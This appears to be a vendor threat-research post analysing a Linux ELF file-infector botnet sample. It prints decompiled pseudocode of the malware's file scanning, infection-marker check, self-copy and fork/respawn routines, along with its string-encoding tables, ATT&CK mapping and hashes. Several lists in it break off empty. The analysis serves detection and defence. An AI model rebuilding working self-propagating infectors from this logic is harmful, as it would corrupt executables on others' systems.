
This week, the SonicWall Capture Labs Threat Research team analyzed a sample of a malicious ELF file infector that shares characteristics of IoT botnet malware. The sample demonstrates self-propagation capabilities, file system scanning, and selective infection mechanisms targeting other ELF binaries.

The file is detected as a 64-bit ELF binary with no packer, protector, or encryption.

The entry point immediately jumps to function FUN_00100ef0 to begin code injection and infection of the system.

The malware uses a custom string encoding/decoding mechanism to obfuscate embedded strings. This function (FUN_001015d0) performs character substitution using two lookup tables:
Encoding tables:
Decode table: "0123456789abcdefghijklmnopqrstuvzywxABCDEFGHIJKLMNOPQRSTUVZYWX|:. !#-/;&*'\"\n\r"
Encode table: ">@o$:,.l+*^?=)(|AB&%;D{!wkUxzvutsrqp_nm-ihgfFCcba~K23456789eyd1XSNQWTZMIRHGVOYLjPJE/]["
This encoding makes static string analysis difficult and hides C2 addresses, file paths, and other identifying information. When scanning the system for potential targets, the malware performs the following steps:
- Opens file for reading
- Reads first 5 bytes
-Validates ELF header: 0x7F 'E' 'L' 'F' 0x02 (64-bit ELF)
- Checks if file is already infected using signature check
if ((((local_2855 == '\x7f') && (local_2854 == 'E')) && (local_2853 == 'L')) &&
((local_2852 == 'F' && (local_2851 == '\x02')))) {
// This is a 64-bit ELF file
iVar4 = FUN_00100e80(&local_2448,3); // Check access permissions
if (iVar4 == 0) {
iVar4 = FUN_001016a0(&local_2448,"Ym9uZ3JpcHo0amV6dXoK"); // Check if already infected
if (iVar4 == 0) {
FUN_00101460(&local_2448,iVar2); // INFECT THE FILE
}
}
}

This large function (approximately 400+ lines of decompiled code) performs the following actions:
This is the core infection function that:
Identified code:
undefined8 FUN_00101460(char *param_1,uint param_2)
{
// Open target file for modification
__fd = FUN_00100e70(); // open() system call
if (-1 < (int)__fd) {
// Get file stats
FUN_00100e30(1,pcVar11,local_20d8); // fstat()
// Allocate memory for file size
unaff_R12 = (char *)FUN_00100e20((long)iVar9); // malloc()
// Read entire target file
if (0 < iVar9) {
// Copy original file content
FUN_00100db0(unaff_RBP,pcVar11,1); // read()
}
// Reset to beginning
FUN_00100d50(unaff_RBP,0,0); // lseek()
// Infect: copy self from source descriptor into target
FUN_00100d50((ulong)param_2,0,0); // lseek() on self
do {
unaff_R15 = (char *)FUN_00100db0(param_2,local_20e0,1); // Read from self
write(__fd,local_20e0,(long)(int)unaff_R15); // Write to target
} while ((int)uVar2 < 0x20d7); // Copy 8407 bytes
// Write original content back
write(__fd,pcVar10,1);
free(unaff_R12);
}
return 0;
}
Using the character translation tables, several encoded strings can be decoded:
| Encoded String | Decoded Value | Purpose |
| `Ym9uZ3JpcHo0amV6dXoK` | `bongripz4jezuz` (Base64) | Infection marker |
| `TwU!?Tx);(T)q)` | Requires full decoding | Possible file path/C2 |
| `T)z?T?U!{XA!vU;sT<` | Requires full decoding | Possible device/path |
Identified code:
undefined8 FUN_001016a0(undefined8 param_1,char *param_2)
{
// Decode path and open file
__stream = (FILE *)FUN_00100e90(param_1,uVar4);
if (__stream == (FILE *)0x0) {
return 0xffffffff; // Error opening
}
// Search file for signature marker
do {
lVar3 = FUN_00100db0(uVar1,uVar2,uVar9); // read()
if (lVar3 == 0) {
fclose(__stream);
return 0; // Not found - safe to infect
}
sVar5 = strlen(param_2);
lVar3 = FUN_00100dd0(uVar2,local_298,param_2,sVar5); // memmem()
} while (lVar3 == 0);
return 1; // Found - already infected
Approximately 8407 bytes of malicious code are injected into each file. The string "Ym9uZ3JpcHo0amV6dXoK" (which decodes to bongripz4jezuz) acts as a mutex file marker. The function opens the file and returns 0 if marker not found (safe to infect), or 1 if found (already infected). This prevents:
The loop wrapper function drives the recursive infection process:
void FUN_00101820(undefined8 param_1,undefined8 param_2,undefined4 param_3)
{
int iVar1;
// Check file access permissions
iVar1 = FUN_00100e80(param_2,3); // access() syscall
if (iVar1 == 0) {
// Check if already infected
iVar1 = FUN_001016a0(param_2,"Ym9uZ3JpcHo0amV6dXoK");
if (iVar1 == 0) {
// Infect the file
FUN_00101460(param_2,param_3);
return;
}
}
return;
}
To maintain infection rates and prevent any single process failure from halting the attack, the main function (FUN_00100ef0) contains calls to fork() functionality (via FUN_00100ed0()) and waitpid() (via FUN_00100e60()), indicating to the malware:
// Fork process
uVar1 = FUN_00100ed0(); // fork()
if (uVar1 == 0) {
// Child process - execute malicious payload
FUN_00100dc0(unaff_RBP,local_2878,param_3); // execve()
// Re-spawn
(*DAT_00301fe0)(FUN_00100ef0,uVar5,auStack_2880,...);
// Infinite loop
do {
/* WARNING: Do nothing block with infinite loop */
} while( true );
}
entry (0x00101350)
└─> FUN_00100ef0 (0x00100ef0) - Main infection logic
├─> FUN_001015d0 (0x001015d0) - String decoder
├─> FUN_00100e70 - open()
├─> FUN_00100d50 - lseek()
├─> FUN_00100eb0 - getcwd()
├─> FUN_00100d80 - opendir()
├─> FUN_00100e10 - readdir()
├─> FUN_00100db0 - read()
├─> FUN_00101820 (0x00101820) - Infection driver
│ └─> FUN_001016a0 (0x001016a0) - Signature check
│ └─> FUN_00100dd0 - memmem()
│ └─> FUN_00101460 (0x00101460) - Infection routine
├─> FUN_00100ed0 - fork()
└─> FUN_00100e60 - waitpid()
| Tactic | Technique | Evidence |
| **Initial Access** | T1195 - Supply Chain Compromise | Infects legitimate binaries |
| **Execution** | T1059 - Command and Scripting Interpreter | Executes as native ELF |
| **Persistence** | T1554 - Compromise Client Software Binary | Overwrites executables |
| **Defense Evasion** | T1027 - Obfuscated Files or Information | String encoding |
| **Defense Evasion** | T1036 - Masquerading | Infected files retain original names |
| **Discovery** | T1083 - File and Directory Discovery | Recursive directory traversal |
| **Lateral Movement** | T1080 - Taint Shared Content | Infects shared binaries |
| **Impact** | T1485 - Data Destruction | Corrupts executable files |
This ELF malware sample represents a file infector botnet designed to propagate through Linux systems by compromising executable binaries. While the technical sophistication is moderate (basic string obfuscation, simple infection mechanism), the potential impact is significant due to:
SonicWall Capture Labs provides protection against this threat via the following signature:
This threat is also detected by SonicWall Capture ATP with RTDMI™ and the Capture Client endpoint solution.
MD5: 45c7b3b9991719c02f13b2eb2bdd9608
SHA-1: 60b4de5d9ff6fe9095342670d79e3acd61cecbe0
SHA-256: 9ab3a648fba46ffb7ecae2eb66e319af7a6206b551ea1d265f609c8419fb5c5b
Share This Article

An Article By
An Article By
Security News
Security News